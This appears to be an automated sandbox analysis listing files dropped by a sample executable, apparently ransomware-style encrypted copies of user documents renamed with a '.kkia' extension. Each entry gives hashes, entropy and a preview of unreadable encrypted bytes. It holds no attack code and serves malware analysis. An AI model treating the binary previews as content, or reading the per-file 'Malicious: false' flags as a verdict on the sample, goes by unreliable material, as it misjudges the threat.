Preview:	EFOYF...0.w8..j^..7.7...<....Ut1...E......]..d.n...s.M}.^i.......Ld..@:"^.S.n.CV%R(^.X....M....7^..................S%..\|v=.............B\|.E$';Ar...S..en........g.3.h-...<.4.I9g..xPf..x..8.k.N.Z[.@....B.A1.P.....di.......k.^4....J}.Ob=.M..........S.(.nW1..9..n....91.p.!,.e....GR.x..&...^t../V.8.W....]i._..qc.-3....jQ.......-xV.....G.#.Q....%..@..k.Q.....vj...._.R?..$...s2....=.;j.rF.1P.x#.........6...C..xW...?\.BX.D..E....Z....@6}...z....i.V.t....{+.pl9UQi.N.B..Xs..(.].}.J..........A.r...".:....W...A....kR?...yWW.27.IR.....>j..X#...P...O.Y.O<.12..[...la.[.Qw...v\..i......f'v....E........p....>?&.....\|V+....S.WQ.#n..9w.\|.=6.._.:R....!4.Qr..[.> .....R;4...........FJ.X...P.waQF.....G.....{....K.....R..HPDfl..A.....rm.t.....i.....]n@.z..b..L\|_..G..=..Lp/y%...q.z.....AXwp..}ihqK.......N.1d...\|m!...g..J..QW.4.&..3.oCEJ.F....x4.-....u'Y..Xw.....B..Pd...K./..9..'...HR....\|.....F...'....5.u...#....J.)..>...].!.e1\L.Y.:.Mm.. 7(.<.._....k T.V.K.OL

C:\Users\user\Application Data\Microsoft\Windows\Recent\EIVQSAOTAQ.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8509432870315585
Encrypted:	false
SSDEEP:	24:RobNXQztW/IPHY+Up03llKO540k5NG2fkTIQ+6I/j5+tBiPO1mXI4jkbD:SmcuMIllKOy0krsTJ+z/12CO19ND
MD5:	BC350FF42582A36C59C9F3F1F2FD4693
SHA1:	F2C8B34BA7841F9C39911551B5048FAC4CF6471F
SHA-256:	3091FF2A399ECC2BBD362A9550339021F2E99BC6954560F9B1BB3B9C43DC3593
SHA-512:	AF65CBCBCD665E4F2052473F80C5B8DB2858B812D2411314C45A14C6511A36BCAA7D03F5EA9017003CDFFE8CE9F2E76ACED197080C51816D82AF556B360E8D86
Malicious:	false
Preview:	EIVQS.s........\J.Ry....:.]3r. .o.B.(....xAz...";...^o`+....D.(.$...ZBd..A....A2UR.......d......G..M9.`.}q.k...c.....UE...@4d....3/."....,...0.5VF.F.a._....`.$....T.^..._?.K#...2..j...X..B{U..L.a.q4.Ka+.m......_...;B..$.W.....m.K..b#..24}w.D..BB.&tv.t...`'p.fV@..AH..o8;oR...k{...QMc,...4...N.z..Q...e....1.q.....z...FimD.^..7.M.V....C..G.E..R....X59.N..w.....[?:..8.{..8...h..L{.H)..O.....@.......\'..u.......q.Fr.yg..\.K.;.T.Q.(..s...ot..7!..Z...lfz.n..FGA..c7.S[d.......u..Cq..Y.B........r.....y..X...jJx..m....%jp..I5..q.^ mvD...A.&...wLr...s..N...A..n.....AK_..0i..............J.....y......y.f.e..@.~.............l.m\......J..1....t.......U.`.,?..C.0.PX.0......;$..........Db.+....v......Mi.N7)uB......g.hn.= .[...M+.z...t.=..~.~Y^...2sv...V.OL*.e.....>...0~5..4...m.....Q.O:P.......}.)..~+ZU..&...O .a....c.....+..IE...<....x.fI...1.../....H..lL..{..a~..V.E..E;>.....I..v.8D.. (..8...h..................W&H.<t..f{^.

C:\Users\user\Application Data\Microsoft\Windows\Recent\EIVQSAOTAQ.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836657951195931
Encrypted:	false
SSDEEP:	24:RhL3G3a0BegH8AjYl0TwLCM4Xp9sAeH2K+tA+IcVIhVY8PYZIBVkU1so5kbD:XL3Ue7ie5wjqHyA+IcCy8PIIBSU1LgD
MD5:	BE8442E69F75F7FC77E2BC00C0E35FCF
SHA1:	F32CD294D417775A872C2020A42EAB27576E2EF5
SHA-256:	20D3743D75C5DD31918D820DE4968C753DDE926193E7C064E74284DF464625D2
SHA-512:	1CD392278680D33E192837789BC24A22D261BC1035EC9D47E1468A1388A41EEDAD4564A051BC7A9AB891B6182E23E194D9CDEFB7933968DAC433A43E1EBD4542
Malicious:	false
Preview:	EIVQS.S....T.d...hA.?-......+.e{v.F."@.....D.S....i..I9U...g.$`Z...}.B......8..C......F...7..G7..qc...c.+... .H.`f.3.Kj.Z.&..oeD..a.[....gN.....y......(....l.=...O:.C&}..c.g</../`...46...........2....(\|.....N.x.e.t..........q..G0.6..1.J..cL}...i....'.Rx....4>.R.i...XS..Bf:.......c...h......9..]..?.(.;.?I...x...s...VE....'.W..=s2..A.D:.+..'A...._.?.J....G.#.o......FK....bs.e.jU..}^.a.v.tK.....T71.....g.(...$.:g4.,cx.....'..!.%..`.e7...g.ki&..gc..]..\|F.7.........g.L..fK.,....M......${...8...L..T$.t..6.I?2.lZM..$...[..........\|...(.Di.....M...K.........H.DT].{Ht.K...O<.."AV.....j.n.u!.$...T..t.=b..n......G.vZ...N."...r..P...N .N..Lx..A.3..}nI..W.4Sk7.......53q..C.M/....!l.7....;.S......C.I.....K.%......O...S?.@.(.u._5...c.Q....FVg..H..Z..._..c.pZ.......@.c......sK}.h.%9...?..!.1._f..U8...Jk..~.nEi......w..o>F?T.U7.YB......p.......8WN~t.......R.w.C. .N..5m...6.......(.t.....!_.Z8._..C.7...G..a...r4.$(......5...Y.=.Z=..j.+1.H.%...^1..

C:\Users\user\Application Data\Microsoft\Windows\Recent\EIVQSAOTAQ.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8677406008420805
Encrypted:	false
SSDEEP:	24:RsN7I8Te0rnvevhD8YO4d+pjpdw8IzD/wP8OGzmuGRkbD:KTe0rnGvBoF9qAP8OUD
MD5:	3F4540DFF574EC2139D41CE4B213CBF1
SHA1:	F45FE72741FC424A08D0C77AA411E3B3743A67C9
SHA-256:	FBABF891440CD5902C98B7A16B2A6FD51B86BAC62E2B6CD2AF9DFAE9E8018BEE
SHA-512:	B05EE56D73ABB5DCF9ABBE78CD89D64CE98114BAE3855F37624EB2AC9E19750D8425D5F6222C5BC6D7760A86EC278015579BFE12ECBFF79463748FCE95CFD7A0
Malicious:	false
Preview:	EIVQS.y<(........`..;hJ..:...C..)..i.......3z.dCi..r.SVqc_T...^.&b.m.:\J`.........2jXX..5...,.....p...f........;\{VX.@.`2..3..&?eC...v(..X.Y..Z...2."0K...`..Bb..._96.xh>....+N.Ru........)....a ~.....c.....4..-..J...L:7.Wf.#..G.$.Q4..hD..h.H..kc5.z(.i.,_?,..(9'....{..c..I7 L.4.B...e.n..~;. c.'.cn....q.....vg....p..(......r.&mt.N.\.....t!..c>.g......Hng..;.j5(.8.....c%..J..2L.u..#B.(..).\|8.[..7.z....R...`A.....H.x._.As.(.Q..'..\.../............g. ......o....T..It.$....)....,....G.....A\|<.P....i....iV.Q......z...F..<<...g......6J.@...l.pS...GIS.{...z....=a.CP.._.?[_y.3.......9.(........7~.o{...s.v2.7.R...\F...w'D@..;.E7.......q0^B\|Y!.{.R.......g.0L.^./0...{..k?l.....Y......".9..{...7....B.0.....p.WHlLQ....#.^.$w3..*.Z..Jd .h.8.....?r.Xl....w...>...Z.oO....XeP..n]...7....B....5G3......6..U..R2...Pi..s.+...&6...@2Uz...9.......o..........J..o..9u+....5.j....5S....c.,8.h:^......42..U..H...kS.O.#..S3.Q6...V+.u.G........d.rC.......L

C:\Users\user\Application Data\Microsoft\Windows\Recent\EOWRVPQCCS.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857151265163134
Encrypted:	false
SSDEEP:	24:YnVwVHqhMsNFWPui9jMSXqU0qVggOPO2bqsMcvOOUIttKh/FcCcoM9UEoJ3IkbD:YeVCMlmiCOhVUO2bKODzzpWEotFD
MD5:	29FA7AF1FAA589118D9B34E6854B1CCF
SHA1:	286336C1A6F1AEE5E9FA7319BA956E0C17AC13CD
SHA-256:	34D879223B33B278C038752A54F87522CCF2C8289DA959DC4D9FD76CE79042AB
SHA-512:	D079BADF34D33E0C31445A46DA3DA64E8AA5F209BA3C287CF440DEF3EF735D38662DAAA4AC1068FD7296C1B53B2495C0B6EA4EE9DD1657777ECE19BABB2D1B4D
Malicious:	false
Preview:	EOWRV.J2..1..h.J.{.. @..".S.%i..O6%........y.c......./....'.X3O_..#..+.\.U@a..A....qk.a.TnV(0T...<.~,.j..R.O.=....Wf.F..+...5..G...b.G..+.....v.qgIw.yS....`.p..f6%nX.....t. ..%z\|......!..a2...G3....,...t......K.K.(..?QO....#..u...aE...;...]......v.iN.....L......r...L.........6..x._.y=u0..x...Iy+..y....T.....q...).L.q..yh.}..l.)...G..+.........M.3Hi..=p.p$/$..G..0n......#R.R........Y..K...3...B...md.......3..1..wi.>a..N.!..G.H..p.&...L......PJkn.&............-..\|j-G+..u.c..N..oF<.Ci.Qj.3..P..M...t..E.P..M._N.U.ya...kg[/.0..... ...[..<.=$...;..^.l...w.3..0....W.....{.t<.Y9.hn.....V1...$Y.?...v..J.............3.5.o.\...g..a...5c3i......:.....@.y...0.[....AqQW..rq..g.%..#i..8-.[r4.6$:.Z....(..A.C..l......d;..7.C.(....HC...7f..h.A.O!.1&.%9)..nz..".8...U.....C..k...-{.&......w9.(.s..> M^..u...C%.....a.$4...WkG..jsK......RI.. .4=!.......T.....X...Pj..tQS2..[...WB~s4.).P.3...U.6(..W.&.h..Y....*...\.V8.sq.d.B.UK............4+\...L.yD(df\-..$\|.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\ERWQDBYZVW.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8410653649007065
Encrypted:	false
SSDEEP:	24:r35gY5xNrhywXpJ9oDcI6ld7xnqEKPYVy+K2JbgQXQEINsWfQe/K3fkSkbD:r35z57hXHoDr6ld7tqEKvf2NXGsWfQUz
MD5:	C430EBC8A4B475A0C496A91EEE66DF88
SHA1:	15C990B5445CCC077DB59DF86F2F7C762502BD70
SHA-256:	6673288FC51EFD241019A9CCB133FB8577C326DC3B12FA265C72C0F8A6C30CC9
SHA-512:	C1C1677761CCA1FB31051965E16E94B25821DE0F2EBC993FA778C0D50510EFB2B715DCF57A49EBDD37A34904BC74721ED5E611B735AE67CEA6D91F7D73481AA6
Malicious:	false
Preview:	ERWQDH.............#.6/4..=..gO...g....v.Cx..&....c1W...hs.>3".C..y.....#...^n.Wid..'I...i.=.....dE..e...wW.."b..HH..hi..0...r.l.\|..V.._..7......x...+..W....2X0r.Kf..P..R...W.;8..of.3.......%oP.H..v....,<i...b?V..}b.F....Fn.,u....$.d\..k.....Kp.D?S7.S...W..<4....3\^.......w..g..l..n...A~..pY.....(.p....#.......dno...P.....bGBl.9.H..i..3.V.../......Au.P#...Uzc.1../V..{.....%.c.3..-..U.....I+ab..+7n..Hs.9Q=4l].......m....-"4A."!.>..X.....:....G.._i....2&.J....0...6o^L....fw]...z6....8.ku...&++......b.%H...t._.X..x..H...$.<.)x.n.q.....&..=.i0.f.P..fA.....S5. Q....5..s....<..L.N..rbg^..^.&..\C.m/9P.XU.Cu..0.....J..g.I...I.aBPD.'....~......]W...1{..T.X.....n....k.k.....S..:.48..e.....!l.hF....~<........j.....3..D.....nt..G...p%$-.\|.3....Z<'.p.X...C)..d.)$..Aez.T7S.4.g.K...?.4;.!.+.......K.W....5Nw.1.{/..rY...$..\.....J.....kF..V<.#.....N.v].....9.%....`q.4...T...g..Z.n..hJu.f.."Dr....8U..t..(.a.yqJ.{'....nx..&.....9&.......5]r.'.g.p.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ERWQDBYZVW.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830096680728131
Encrypted:	false
SSDEEP:	24:NAlsJHOKhu/JdzBbniSetlSmmpIUc5GNuV7vXIGXM26vL+iHxg7kbD:NxJH7hGHNnJpNc55V7vRMjvL+iH6KD
MD5:	3DC7A4BA4803828CDD00364707F1F553
SHA1:	2A1BBEEAB2FB605422733AB0985AAC30AE390864
SHA-256:	5450C938C3F661E3EBE9225AF429B6E3BFDAECB0BD36D521E97AAB58CDC425D8
SHA-512:	3A7DFFE4601A0054C066D4A88B91B54B9E8C0BDED40274E06DED3B5E526A5C72D328396E1F44F2445CA0D2DFE3CB051E9D9F27A88789A3DCBE4ABB2E235EFC01
Malicious:	false
Preview:	ERWQD+2Y..e.....[....u.c....K....w..1.O#.VC......K....3.."70....ecCX.l.....>) Im.VD./a..6...'.T....t.u+.U......I.........t.HPxB.yK....N}..j.}...71H.$A..YU..a..e.k....I......`....u.+..-.D.w4X'..fhZd.ve...F6.]..]..F.........@........O.5.[....Y-.5.....4.=.......=........L.fyj.TR..............8....Q/?.8..w....C.W]6lx..{.3`.Q.........l..1.O......`S$zI\&..N.....Oy#.s..3..P.n....0.JH..?..x).s..O\|......\.}[...y0\.".C..V...A.z.Y.e...D..n..-.b.:.2#.^...!.."g.FWVFOG()....c......6...$.2.2....M....;..u.8.l7....E."..w`...8..(GA]...b5.2....`..mI....Bl%....=...F.Z37.Y%......zdI.r..{u.9..K.\..N..'\B....W...`.....>...1+.^.~..........o..+v....d......b.V....Q..R-....B..3..1u.-......9...LM...l5qD.....@..qL....L..u..L<../. ...K..Y.n[...Y.../.l:.S1f..y.5..i....L.T..n.R[t.+d......".H3..l..+..\.'>.....b.d.%;....Q.DK..t....P..!.lv_').5..q.....v....u@.$3!1..Fl.....3...]U...x....W#.FB...4.r".......WI..Z..%Um..........]HN?....}!.u!q..F@*n......3....p...N......y...I

C:\Users\user\Application Data\Microsoft\Windows\Recent\ERWQDBYZVW.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849465083217641
Encrypted:	false
SSDEEP:	24:Dn7X3Uv65KsZAe2gUpmVd3fTnou0qbNSDv6JW/oRQlvXTpA5kbD:D7HUynAel/d10qbNSDyJWvzD
MD5:	9E038DF661AFDC4186B3AC6FD454C111
SHA1:	66DBDCF55CB4B79005207EA09094665BD871BC04
SHA-256:	1F98033BDBBF20D1E758EF296C967CB12D8F7CCF45486A7AC60CC0D74BDC6566
SHA-512:	2C966E00CF88115B65CEB8370E91B68F8BDDB8A5B010A5D897153390A574386194556CAE2A4D228D732FEC99CD30874AD8081C850DB3B6C839B452B9E6EAD738
Malicious:	false
Preview:	ERWQD..(m....\$.>..e..u./Q.\|p...}$p@.3E.\|.....7......Bi.........(.S<.....5-q).9Q...A+.D...c...or.{..VP.5zN.it.-.V...Ow.j.....1..(C.....Y..G...L.l....-...!<.a..O/...t....J..\]:..n.btsd.k.g8...Kq.&I#..f....-...M...............V...O.(.._.."...#.5...........qN..@..(6.v.o..J&'.cw.$F...DA....T..a.....E..P..Y .q..az.7....qt.u...N.s..S..2~.f.C.f..uk5..y.[........fh.u...m.b..:r4...c........N.?...`9yT......".........>....^O..V...6.&.,B...P-.0..H.'.L..tkT. !(......J.I.g.)..V..1..0G.wq~.._.d.+]...Q...c.t.....7j....b.......q...R-..H...i....m........6.}b..tt.....@!m..<...<.....6q?..G.#..'.w....g4....J..7...?.."...........S..z5k........u....i..x...r.)..c.6m.k..~H.;D.!...h.7.4.R.P_QW.E.,..K...(..!4>.'.:h%.s.iz.....U..{................-...cb..z..>..pF........{.{g...7v...w.N...........\.'.1...4.6.....R.00.Z@.....W.r..No..j...n....9y....^..[.6......*...{s.^.p_..~3..Y...Te...x.2...f^..'..%k..UFKn......[......D.wZ.@i35...s.s....\|!...H1..cxC`R.x.z....

C:\Users\user\Application Data\Microsoft\Windows\Recent\FAAGWHBVUU.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833076179493345
Encrypted:	false
SSDEEP:	24:XwOrNholccCDVgKFeKpsX3t89Nk3hRRgwZIlRIhCgk9dNq4kbD:jH2gnsntoNcu6RNAq1D
MD5:	3711E7D926E81CB908BE0EA59A0C6EF2
SHA1:	24B921BB70A290675BEDAF3E36FFC405D07A673D
SHA-256:	BC75F8F2D4F2875B26330C8125C86487C65F7BD001FA3FFEE89E01F8D6327A3D
SHA-512:	54120C5061BDA5D369E77AD435AC0265580ED85836C58EAEE314021F31A85B79A44412D65D0FE42853F06A0C2E0BAB20A9AA11C51CF947511BE79D97B0F34813
Malicious:	false
Preview:	FAAGWf.0.XK..WWP}....g.K.Xw...L3...........-\|aN....z!C.........NtD(-j...-\G..?..RFcX....._....<B.w.../...lj....!......n<o3..l-Wy&.\..F.Dw.U..F..vp...<..Z...).+...X.xQ.L."fY3(G...S7..8.E.EAV.y.x......S...N..I.x.\|....:...N.^.<&...G.n.......H&..Q.J.1.J.._.....'....)/.....r..&......4....u.G."D.<.`.......O...p..&.{.....T..F....4J.8[..AP.-lkt...6kE..Bl~bH!8.f#.t.d.(K.....>.)m..3l.......!..!Q.....S..+...2..@.r1./6..W..3m.,:......yT.0....<I.".b.".n\....w4..3.L.k.2..!'..!.p.QUjx.%......4{.i.a........_..M...\O.B.t..S$Va....49Bo.9.....O-..f,S..s..b>.T5.Q..=2.L@o...P..k..e../d..v..)MB..._e...~H.........$qs....a...Gl='\(O.@....6.t.T..z......C...@..GLI.,.......sul.Uq..pIp.I}.At.C...,...Fc`..`......Hf..aK...".P..........F"...{.)v....~i.G...;.......uE....."j...a.jq..C.......\. ..f..X6.. .ZU..k...J..K.#.=.E..r.6g......C.....L6K ..7.6+y....\\..xP)..M....VH.E....=H.+E.(.>....gtP~.......&.....b3}..U......p.q...d.v..d..!.0.i.<...>b............>.t.>n

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837672101278091
Encrypted:	false
SSDEEP:	24:aDEZwGhj40z3tMl5rvYbDYFYrsGxxag9uFiZpZvDJ/GotwxIFOuaNc1TBDkbD:tZwG1+l5j2rmgfvF/GoyxyOlc1VSD
MD5:	FF266026E53BE40268E4AB5F2DBF9D27
SHA1:	A425A3262F555F7C72BB18157E50AEAC140F29D2
SHA-256:	3D0B30E8A47B9A9F8E895BD7CCF87E4959F6F842721E1FAB740CE3BE9B4CC152
SHA-512:	D232AFDCBC478D385A7C3E72FE072F3795DA0ED937242AEC3B5CEC9FF03ACF0B422361B0E77CC6B5881AC9062BC5898145E6DD3DB38631F44C2FD26009532773
Malicious:	false
Preview:	GRXZD........d..-...j....L.].p.v.....!sO.d......u..T.ts.M.9.f)`c.}.3.n4...i....D.9..L..v..A..i..i......[0.\%......".....y.5..$.....\....Ty.;....\|.._..~$~..pt..n,......a.l.6.Z...8..n..(.e.a.p.d.......K..M.....V8.Hib@...8.m?.n;O...j../..$...8..:.C..A..R..A...\a....2........qf2Y....\|!.\|...F.T..Pu<...<3......0`]`........\|..C[1...(.ZP.@n..I...w......0...I..K.j..m....v#3...M.../.?p%..\Z7..=.h.>...c.".F...LF....^w...(..........z.1Nf_Bi...6...=.`(.....S}....?..L.lT..'...n...8.$Z..,.a..7.}p....k........9......;....CCI....Yc)_....=On...t.um..Q.../i.V5"...~-.{..y$.9.${....$..".F..).%.....G...-.....%h...IQ...u?.3....6Sy...d.9-........wH......ji...2.F.$;...K...$..P...8.9.}.sg.rZ..7..]}S"..G....8..?....,.s....e/8..{. ........K.Q#.\|..7+..5v....;:.Gv+..s1k...6..O.....s....p.}(..F..Y...I9.'..u.L.5{.."q............Y.7.XI..D3...)<.'..f......]..gy...C.....T.7H..1..u...p..6.7.w..........l[6..G*...'..tY...f..ZWh.Q......V..Z..(...(./....$1.Ua..h..

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856208066597534
Encrypted:	false
SSDEEP:	24:zKFbfGoEh7YXCGubY4BXbZ8ENHjt2umPxDB9mprV6KeRwkbD:zKJfHESSGubbBLZ9Vt2lB9msRzD
MD5:	34419CB712740924EA56B5E79A7B2333
SHA1:	8F48C88350C2E61BAB07EC182296289C54E97916
SHA-256:	9FC13832B924148FB5E721BC45C4EBD908C6AF2612A5D9D53AA71E4798D6B470
SHA-512:	5E52DD7120AF6ACEFF9E6DD47C9E615F2DD6A218F880C1151B8A52A3A58F1B75B2993998569BA778B17E5FB98A7D61F17BB63B4EC76C46D359CB7D1AA63238A6
Malicious:	false
Preview:	GRXZD1.".r.G....l.....l8q..N.M..?..nk..@.X...x..a.f.3...:9..z.j].B...a6.2.!...zf.S..>;...;TD..........L/-..6..K....A(`3y..b2<.$.m.F%#'oG....9..BH../...9GKxL\.3...\|..K.I..q...H.h..>...(..$r..{S..9.K_.?7.l..J.a~`B...^O..mX.z,..J]:...........o......m.....2.............]........&.W`...rHS#...2.s.Q...x\..{H.h.K...$(c6..(...5?<.#.[Oz.t.;..K.....gx.%..e.I.C.z.b.p{q...R....E...d..yR.!W.2.R\..;6$..kv....=..p.G.`..X..\.\|N....`?U.....k.UbJW..j.......d.....C...V.G.K.s.F../.y.>e*[....U.05.t.O,C......../..N.f....<I'..^\.. .0..2.e...#W.j,t...j.uUY...J.8.`.B...TR6...,.6.....o.\1h+...C.N.......3....U....s.`.. ...}u..tY`J....}.._.j..#[.z.U.d..A?jU.G]8X...R\.g....].,.U..C./.\|."..:.3x.ZU.....n:.....e.iWA`..'.C..Hh...r^QsA...b...n'].......q{..O...hZ..sp....@dY....f.,!.W."..X..'x.Z.[D.1S..J.i.......1..6..=.y._b.V..Yf.7..Q.zm......}....K.f(M.....s.84....H.r&.Tx.~....L.m..pq...3h../.]..,.....[..&...s..........6.............z`.]m}.AR.qV.........j.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.815488615857163
Encrypted:	false
SSDEEP:	24:rZvHK0pT1eptatP9vUAJ68RpS6ZvMycsPb9oTMTXIHH0pOkbD:NHnet6PXJrpS6HcsPb9rkHkD
MD5:	B9662BDB32BD387A2E649AC6F1678EBB
SHA1:	8C006771219FAB48912B545CE78A1B05641B669A
SHA-256:	E35340287150A65A82A6B3955136BF9D0AE1D2C143F691711B4332A2FEE85AF0
SHA-512:	0B6BA97C144C028052E3667623512CD72707BD4003411DDC6EF182A3E10E2EFD4F5567A1F927DDF4514DB8C233D14C42757E78F3147474D9B830A91AA7C80C25
Malicious:	false
Preview:	GRXZDe...?...d.....^'.-Z...q..4....]8...1c..I.]X ..5..B.V.$..........w.T.D}Gl.M.....)jAX#{5M...&@..\.;.]..q.wK....K....r_...5.....k.UE.X./.5.1.E.hG Q.4j\|l...Gk~...k(.%.@......K.I`.r8s.B..B.,X..6.w..m.Z'..P.H.z#..]...K].U3...9..r...y..y;.e8..c.].E...]....fC0...Z9..[~.X..k.E.<..1..}.n...4........!4.?.Y....9...G.W...-...D..@..c..O<.u..Q......NN(.u4..M.....O..q.G._<J...@....$.m..r5.p.?W.......}....Cu.....xH17.XQ.e....EC..N..N...2.LJx+..B@K.WF.....4[..;.W..ga.p._...9.r.;%..>..d~yO!_[..35r..u...O......3$.1.J..&`.-......!8..@......Z .Vd..)..c/...@...\..._..&...;6hUp...`..y>Dr..Y(.....AEI3V7[yZt.`........O...6V.\.o/...`]....k....v...f_.wfI.Ml11..6/._.....t.>O.D...M....JD).....5..1aw........c"X.b.......ZU.S.S8##3.D.Z.....X.b..S.!...1V..K..>.3.8.?.b......Kg.!.>1g..'.A.a..4...>K..p[..P.. n.........mY`eh..8..v.H...._BR... >.....+.`!.....8-T...90.....m.Q.lz......$.`..,.7G.+P.{.$.....J...n.`.....h.[.B..t.;@u.J..A..4.]..@...j...;7.!@K.;.......

C:\Users\user\Application Data\Microsoft\Windows\Recent\HMPPSXQPQV.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8362630490876874
Encrypted:	false
SSDEEP:	24:aglQbaOWu5udY2vSiWidr/P5VT7wYbKgMKAglXvix04FVoeTAL73rMgtJExSmiW9:/leWvBfdrLt+gXfpLjrMgjyhi8k4D
MD5:	242B6231B6EF2EDEE0684B75C446B844
SHA1:	27BB389348FDC4384AD947EA48EEC031D90B429B
SHA-256:	99325EB524DCE01E0A9D69197047C82EE0172278B439425A2B1EB036D902B86C
SHA-512:	B0926D0E9B4D5D17A3E7F6CBE80E40C524FAA6203B68A65B27216CFE6978467A294894B36A1D0096F676887BD1E585BC0B3768A3899262F1F2B01207A0F7D62C
Malicious:	false
Preview:	HMPPS.u.B......r&...d.+Uxvk}.....3..+2.xp..;...+A..]X........4..e...JC..9...!U..y!#..M{._v0..$.H.`X..9.6m..p.......r..NXk....24CR0.].h.....y.."B".X...8......Mqd.s..Cd..10..d`Jk..-.C.5,...;..N.....6t>a0{.fAd..i!g1..?&....[.{.<....[.J..%.kZ&...Y.../(#.q.H.....,.j.sd..........M.u/....e...._..+......0f..V].wnC.&.bS.....:.f...l.].Yk...P.xv...Np.L..l.....`.o.g..l8...4.D..v%U.....V....z.......e.jYuli...Fi[.).. Rj...}.........i._.fm..-..9L...+..........z5.}'...{{..M.......?.m......+....+./.>f...s.f.)..{h..M...<..o).UM...h{......i>....5;.6...).dw...ao.^.a......,D..8...WC.Sx.:.....r...D....}..L...q...ztux.J.........t.:...y.<.Vs.'aR....}F.0.".gI...H...0I.6..6....C...4.p.X.DiI.....m}W&.m...h...^Q......d...6..Q.$..b...a8a.VC+..."..3\|.S.i..0...T...N..p\.en.)C.Fl.v(:. -=3....%c.(<.M.3\|P..$7H=....Qq...8..;~..}W.=...O.6.....T)....kd...T....d....y.....G.......w".(.....B.zM/.....D..HVm..'.i.'.`P..PI&....>.u.A.....=.:.[.....A.Gb..^..D....;r..MO>i.^@2...vt^..

C:\Users\user\Application Data\Microsoft\Windows\Recent\HMPPSXQPQV.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8703587335854355
Encrypted:	false
SSDEEP:	24:WHrTMA1L5eWsLhJAGmKvmpLEm73i18Luf5bHTQiQaXITsdkbD:WH5eWs3mSM33KweBfQaXIgsD
MD5:	DD1F4DE2DFBB3F9B0739AB759A8402D6
SHA1:	3E4AED5DC0664DE3F680E9B8BA85335F89AA6FB1
SHA-256:	F0BCCA0DCAFABA5DD0F659274FF1982D65E61F2D1C69A051CA43F8A1CDD04420
SHA-512:	075D5256A83AE58D7C9FDF59BCEEA22125668374AEDB53EC2F412DF8F6C4A8EC83362AD93F359EAA641661D7F27009529E654837EB9C999814A964FDFEB24B5D
Malicious:	false
Preview:	HMPPSw'.&.Yr.M...J..F2n....D....<..s...g....X..Y....35..s.N..-..........5L...6V..Q.:u.K....G.....[.^.vC...3b.~..!..3.?h..2.~...av......(%i.J..(T..;LW1..{.S.h.......$...B.g\|...u..U.Bb."..`5s....~.C...5..3..;..:...{.).>_k......%.}...-....'..5...S..p.V.E:.lw0.QGyF.;.....Zj..........{O...e..{<#....8...MG..7....S.]R.?.=k...a.<....W......x.k.x3.6...##..)$. ")l...U...y.d....._.\.tJq>./....>.y?.&.3K..........u@..l.=OY.P.u7.$..S...\...ljz\|q...E.x.-`BIc.........6......a...~...]_....$P.L.'.q.9.i.....9........n..5..1g>.lp.U.N..(.JXq...Q.p.o....o0..?..].^.......j.l.......T.....S)[t/{.&.$._..Z....y.QT.I2.(...I..:~.f."...&..d.e.(..."c......5u..K......~4...`...6..T)l..........T8..S.I....E)Bx......f..K.......-......^.....[...$Tp...e.....]DT.[.BnK....J.gY..".#....%..M..Y.......%.a+EH.A...G.6g7.._.n`.....P{........L....,...-.cg..4.......ay-.....^FkS.........},..L..S..Y.!....^.WE...<.... .:.0&J.#?R..8.P.....KOM..^L@E.R.\|.d+...5...7..M.\|.%.m.f..6.7x..

C:\Users\user\Application Data\Microsoft\Windows\Recent\IKCRSXYNJM.jpg.kkia (copy)

Download File

